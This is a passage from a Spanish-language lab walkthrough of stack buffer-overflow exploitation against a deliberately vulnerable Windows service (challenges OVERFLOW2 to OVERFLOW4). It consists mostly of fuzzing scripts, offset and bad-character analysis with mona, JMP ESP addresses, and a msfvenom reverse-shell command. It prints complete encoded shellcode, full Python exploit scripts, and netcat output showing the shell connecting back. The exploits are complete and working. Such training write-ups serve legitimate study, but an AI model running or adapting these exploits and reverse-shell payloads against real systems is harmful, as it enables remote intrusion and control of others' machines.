38
39
40
41
42
shellcode = ("\xfc\xbb\x2d\x12\x80\x28\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xd1\xfa\x02\x28\x29"
"\xfb\x62\xa0\xcc\xca\xa2\xd6\x85\x7d\x13\x9c\xcb\x71\xd8\xf0"
"\xff\x02\xac\xdc\xf0\xa3\x1b\x3b\x3f\x33\x37\x7f\x5e\xb7\x4a"
"\xac\x80\x86\x84\xa1\xc1\xcf\xf9\x48\x93\x98\x76\xfe\x03\xac"
"\xc3\xc3\xa8\xfe\xc2\x43\x4d\xb6\xe5\x62\xc0\xcc\xbf\xa4\xe3"
"\x01\xb4\xec\xfb\x46\xf1\xa7\x70\xbc\x8d\x39\x50\x8c\x6e\x95"
"\x9d\x20\x9d\xe7\xda\x87\x7e\x92\x12\xf4\x03\xa5\xe1\x86\xdf"
"\x20\xf1\x21\xab\x93\xdd\xd0\x78\x45\x96\xdf\x35\x01\xf0\xc3"
"\xc8\xc6\x8b\xf8\x41\xe9\x5b\x89\x12\xce\x7f\xd1\xc1\x6f\x26"
"\xbf\xa4\x90\x38\x60\x18\x35\x33\x8d\x4d\x44\x1e\xda\xa2\x65"
"\xa0\x1a\xad\xfe\xd3\x28\x72\x55\x7b\x01\xfb\x73\x7c\x66\xd6"
"\xc4\x12\x99\xd9\x34\x3b\x5e\x8d\x64\x53\x77\xae\xee\xa3\x78"
"\x7b\xa0\xf3\xd6\xd4\x01\xa3\x96\x84\xe9\xa9\x18\xfa\x0a\xd2"
"\xf2\x93\xa1\x29\x95\x5b\x9d\x27\x64\x34\xdc\x47\x63\xfe\x69"
"\xa1\x01\xee\x3f\x7a\xbe\x97\x65\xf0\x5f\x57\xb0\x7d\x5f\xd3"
"\x37\x82\x2e\x14\x3d\x90\xc7\xd4\x08\xca\x4e\xea\xa6\x62\x0c"
"\x79\x2d\x72\x5b\x62\xfa\x25\x0c\x54\xf3\xa3\xa0\xcf\xad\xd1"
"\x38\x89\x96\x51\xe7\x6a\x18\x58\x6a\xd6\x3e\x4a\xb2\xd7\x7a"
"\x3e\x6a\x8e\xd4\xe8\xcc\x78\x97\x42\x87\xd7\x71\x02\x5e\x14"
"\x42\x54\x5f\x71\x34\xb8\xee\x2c\x01\xc7\xdf\xb8\x85\xb0\x3d"
"\x59\x69\x6b\x86\x79\x88\xb9\xf3\x11\x15\x28\xbe\x7f\xa6\x87"
"\xfd\x79\x25\x2d\x7e\x7e\x35\x44\x7b\x3a\xf1\xb5\xf1\x53\x94"
"\xb9\xa6\x54\xbd\xb9\x48\xab\x3e")

eip_ret = pack("<L",0x625011af)
nops  = "\x90" * 16
padding = "C"

buff = "A" * 634 + eip_ret + nops + shellcode + padding * (1150 - 634 - 4 - 16 - 353) # junk 634, eip_ret 4, nops 16, shellcode 353, padding 143
try:
	log.info("Realizando conexion.")
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	connect = s.connect((address, port))
	data = s.recv(1024)
	s.send("OVERFLOW2 %s\r\n" % buff)
	s.close()
	log.info("Conexion Finalizada.")
except Exception as e:
	#print(e)
	log.failure("Parece que el programa se detuvo." )
	sys.exit(1)

Tras la ejecución logramos obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
➜  OVERFLOW_2 nc -lnvp 1338
Listening on 0.0.0.0 1338
Connection received on 192.168.22.128 49224
Microsoft Windows [Versin 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull

C:\Users\sckull\Desktop\vulnerable-apps\oscp>

Overflow 3

Fuzzing

Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW3.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toscp1.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

buff = ["A"]
c = 100

while len(buff) < 30:
        buff.append("A"*c)
        c += 100

p1 = log.progress("Progreso")

for string in buff:
        try:
                p1.status("Enviando %s bytes." % len(string))
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                connect = s.connect((address, port))
                data = s.recv(1024)
                s.send("OVERFLOW3 %s\r\n" % string)
                s.close()
                #log.info("x_x socket.")
        except Exception as e:
                #print(e)
                log.failure("Parece que el programa se detuvo con %s bytes." % len(string))
                sys.exit(1)

Encontramos que el programa se detuvo con 1400 bytes.

1
2
3
4
➜  OVERFLOW_3 ./overflow3.py 192.168.22.128
[\] Progreso: Enviando 1400 bytes.
[-] Parece que el programa se detuvo con 1400 bytes.
➜  OVERFLOW_3

Observamos que el registro EIP se sobreescribió con “A"s, tambien vemos el registro ESP con los mismos valores.
image

Offset EIP

Creamos un patron de 1600 bytes utilizando pattern_create.rb, modificamos el script para realizar el envio de este.

1
2
3
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 1600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C

El registro EIP lleno con el patron enviado asi mismo el registro ESP.
image

Mona nos muestra el offset con valor de 1274 bytes.

1
2
3
4
5
6
7
8
!mona findmsp -distance 1600
[+] Looking for cyclic pattern in memory
    [..]
[+] Examining registers
    EIP contains normal pattern : 0x35714234 (offset 1274)
    ESP (0x017cfa30) points at offset 1278 in normal pattern (length 322)
    EBP contains normal pattern : 0x71423371 (offset 1270)
    EBX contains normal pattern : 0x42327142 (offset 1266)

Control EIP

Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (1600).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
eip_ret = "B" * 4
nops  = ""
padding = "C"

buff = "A" * 1274 + eip_ret + padding * (1600-1274-4) # junk 1274, eip 4, padding 322 = 1600
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW3 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
image

Espacio - Shellcode

Aumentamos el padding a 150 para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 150 bytes adicionales, en total tendríamos 472 bytes disponibles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 1274 + eip_ret + nops + padding * (1600-1274 - 4 - 16 + 150) # 472 padding
# 1274 junk, 4 eip_ret, padding 472 (shellcode + nops)
# total buffer = 1750
try:
	log.info("Realizando conexion.")
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	connect = s.connect((address, port))
	data = s.recv(1024)
	s.send("OVERFLOW3 %s\r\n" % buff)
	s.close()
	log.info("Conexion Finalizada.")
except Exception as e:
	#print(e)
	log.failure("Parece que el programa se detuvo." )
	sys.exit(1)

El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 1750 bytes de los cuales 472 bytes serán para el shellcode y los nops (16 bytes).

BadChars

Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).

1
!mona bytearray -cpb "\x00"

Modificamos el script con nuestro array de badchars.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 1274 + eip_ret + nops + badchars + padding * (1750 - 1274 - 4 - 255) # 255 badchars
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW3 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\x01\x11\x40\x5f\xb8\xee" pero el valor \x01 no es uno de ellos tras verificarlo con un nuevo array.

1
!mona bytearray -cpb "\x00\x11\x40\x5f\xb8\xee"

JMP ESP

Nuevamente como en el anterior ejercicio buscamos una instrucción de salto al ESP con mona.

1
2
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x11\x40\x5f\xb8\xee"
!mona jmp -r esp -cpb "\x00\x11\x40\x5f\xb8\xee"

Encontramos dos direcciones de memoria con la instrucción jmp esp sin ningun tipo de protección.

1
2
3
4
[+] Results :
0x62501203 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
0x62501205 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
    Found a total of 2 pointer

Modificamos nuestr script agregando la dirección de la instrucción.

1
2
3
from struct import pack

eip_ret = pack("<L",0x62501203)

Shellcode

Creamos nuestro shellcode pasandole los badchars que encontramos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x11\x40\x5f\xb8\xee"                                   130Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with Encoding failed due to a bad character (index=20, char=0xee)
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=275, char=0x11)
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with Encoding failed due to a bad character (index=4, char=0xee)
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of c file: 1508 bytes
unsigned char buf[] = 
"\xfc\xbb\x24\x55\xde\xf6\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xd8\xbd\x5c\xf6\x20"
"\x3e\x01\x7e\xc5\x0f\x01\xe4\x8e\x20\xb1\x6e\xc2\xcc\x3a\x22"
"\xf6\x47\x4e\xeb\xf9\xe0\xe5\xcd\x34\xf0\x56\x2d\x57\x72\xa5"
"\x62\xb7\x4b\x66\x77\xb6\x8c\x9b\x7a\xea\x45\xd7\x29\x1a\xe1"
"\xad\xf1\x91\xb9\x20\x72\x46\x09\x42\x53\xd9\x01\x1d\x73\xd8"
"\xc6\x15\x3a\xc2\x0b\x13\xf4\x79\xff\xef\x07\xab\x31\x0f\xab"
"\x92\xfd\xe2\xb5\xd3\x3a\x1d\xc0\x2d\x39\xa0\xd3\xea\x43\x7e"
"\x51\xe8\xe4\xf5\xc1\xd4\x15\xd9\x94\x9f\x1a\x96\xd3\xc7\x3e"
"\x29\x37\x7c\x3a\xa2\xb6\x52\xca\xf0\x9c\x76\x96\xa3\xbd\x2f"
"\x72\x05\xc1\x2f\xdd\xfa\x67\x24\xf0\xef\x15\x67\x9d\xdc\x17"
"\x97\x5d\x4b\x2f\xe4\x6f\xd4\x9b\x62\xdc\x9d\x05\x75\x23\xb4"
"\xf2\xe9\xda\x37\x03\x20\x19\x63\x53\x5a\x88\x0c\x38\x9a\x35"
"\xd9\xef\xca\x99\xb2\x4f\xba\x59\x63\x38\xd0\x55\x5c\x58\xdb"
"\xbf\xf5\xf3\x26\x28\x3a\xab\x3e\xa9\xd2\xae\x3e\xac\x18\x26"
"\xd8\xc4\x4c\x6e\x73\x71\xf4\x2b\x0f\xe0\xf9\xe1\x6a\x22\x71"
"\x06\x8b\xed\x72\x63\x9f\x9a\x72\x3e\xfd\x0d\x8c\x94\x69\xd1"
"\x1f\x73\x69\x9c\x03\x2c\x3e\xc9\xf2\x25\xaa\xe7\xad\x9f\xc8"
"\xf5\x28\xe7\x48\x22\x89\xe6\x51\xa7\xb5\xcc\x41\x71\x35\x49"
"\x35\x2d\x60\x07\xe3\x8b\xda\xe9\x5d\x42\xb0\xa3\x09\x13\xfa"
"\x73\x4f\x1c\xd7\x05\xaf\xad\x8e\x53\xd0\x02\x47\x54\xa9\x7e"
"\xf7\x9b\x60\x3b\x17\x7e\xa0\x36\xb0\x27\x21\xfb\xdd\xd7\x9c"
"\x38\xd8\x5b\x14\xc1\x1f\x43\x5d\xc4\x64\xc3\x8e\xb4\xf5\xa6"
"\xb0\x6b\xf5\xe2\xb0\x8b\x09\x0d";

Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (1750).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
shellcode = ("\xfc\xbb\x24\x55\xde\xf6\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xd8\xbd\x5c\xf6\x20"
"\x3e\x01\x7e\xc5\x0f\x01\xe4\x8e\x20\xb1\x6e\xc2\xcc\x3a\x22"
"\xf6\x47\x4e\xeb\xf9\xe0\xe5\xcd\x34\xf0\x56\x2d\x57\x72\xa5"
"\x62\xb7\x4b\x66\x77\xb6\x8c\x9b\x7a\xea\x45\xd7\x29\x1a\xe1"
"\xad\xf1\x91\xb9\x20\x72\x46\x09\x42\x53\xd9\x01\x1d\x73\xd8"
"\xc6\x15\x3a\xc2\x0b\x13\xf4\x79\xff\xef\x07\xab\x31\x0f\xab"
"\x92\xfd\xe2\xb5\xd3\x3a\x1d\xc0\x2d\x39\xa0\xd3\xea\x43\x7e"
"\x51\xe8\xe4\xf5\xc1\xd4\x15\xd9\x94\x9f\x1a\x96\xd3\xc7\x3e"
"\x29\x37\x7c\x3a\xa2\xb6\x52\xca\xf0\x9c\x76\x96\xa3\xbd\x2f"
"\x72\x05\xc1\x2f\xdd\xfa\x67\x24\xf0\xef\x15\x67\x9d\xdc\x17"
"\x97\x5d\x4b\x2f\xe4\x6f\xd4\x9b\x62\xdc\x9d\x05\x75\x23\xb4"
"\xf2\xe9\xda\x37\x03\x20\x19\x63\x53\x5a\x88\x0c\x38\x9a\x35"
"\xd9\xef\xca\x99\xb2\x4f\xba\x59\x63\x38\xd0\x55\x5c\x58\xdb"
"\xbf\xf5\xf3\x26\x28\x3a\xab\x3e\xa9\xd2\xae\x3e\xac\x18\x26"
"\xd8\xc4\x4c\x6e\x73\x71\xf4\x2b\x0f\xe0\xf9\xe1\x6a\x22\x71"
"\x06\x8b\xed\x72\x63\x9f\x9a\x72\x3e\xfd\x0d\x8c\x94\x69\xd1"
"\x1f\x73\x69\x9c\x03\x2c\x3e\xc9\xf2\x25\xaa\xe7\xad\x9f\xc8"
"\xf5\x28\xe7\x48\x22\x89\xe6\x51\xa7\xb5\xcc\x41\x71\x35\x49"
"\x35\x2d\x60\x07\xe3\x8b\xda\xe9\x5d\x42\xb0\xa3\x09\x13\xfa"
"\x73\x4f\x1c\xd7\x05\xaf\xad\x8e\x53\xd0\x02\x47\x54\xa9\x7e"
"\xf7\x9b\x60\x3b\x17\x7e\xa0\x36\xb0\x27\x21\xfb\xdd\xd7\x9c"
"\x38\xd8\x5b\x14\xc1\x1f\x43\x5d\xc4\x64\xc3\x8e\xb4\xf5\xa6"
"\xb0\x6b\xf5\xe2\xb0\x8b\x09\x0d")

eip_ret = pack("<L",0x62501203)
nops  = "\x90" * 16
padding = "C"

buff = "A" * 1274 + eip_ret + nops + shellcode + padding * (1750 - 1274 - 4 - 16 - 353)
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW3 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script logramos obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
➜  OVERFLOW_3 nc -lvnp 1338
Listening on 0.0.0.0 1338
Connection received on 192.168.22.128 49181
Microsoft Windows [Versin 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull

C:\Users\sckull\Desktop\vulnerable-apps\oscp>

Overflow 4

Fuzzing

Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW4.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toscp1.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

buff = ["A"]
c = 100

while len(buff) < 30:
        buff.append("A"*c)
        c += 100

p1 = log.progress("Progreso")

for string in buff:
        try:
                p1.status("Enviando %s bytes." % len(string))
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                connect = s.connect((address, port))
                data = s.recv(1024)
                s.send("OVERFLOW4 %s\r\n" % string)
                s.close()
                #log.info("x_x socket.")
        except Exception as e:
                #print(e)
                log.failure("Parece que el programa se detuvo con %s bytes." % len(string))
                sys.exit(1)

Encontramos que el programa se detuvo con 2200 bytes.

1
2
3
4
➜  OVERFLOW_4 ./overflow4.py 192.168.22.128
[p] Progreso: Enviando 2200 bytes.
[-] Parece que el programa se detuvo con 2200 bytes.
➜  OVERFLOW_4

Observamos que el registro EIP se sobreescribió con “A"s, tambien vemos el registro ESP con los mismos valores.
image

Offset EIP

Creamos un patron de 2500 bytes utilizando pattern_create.rb.

1
2
3
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 2500                                                                                                                     
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp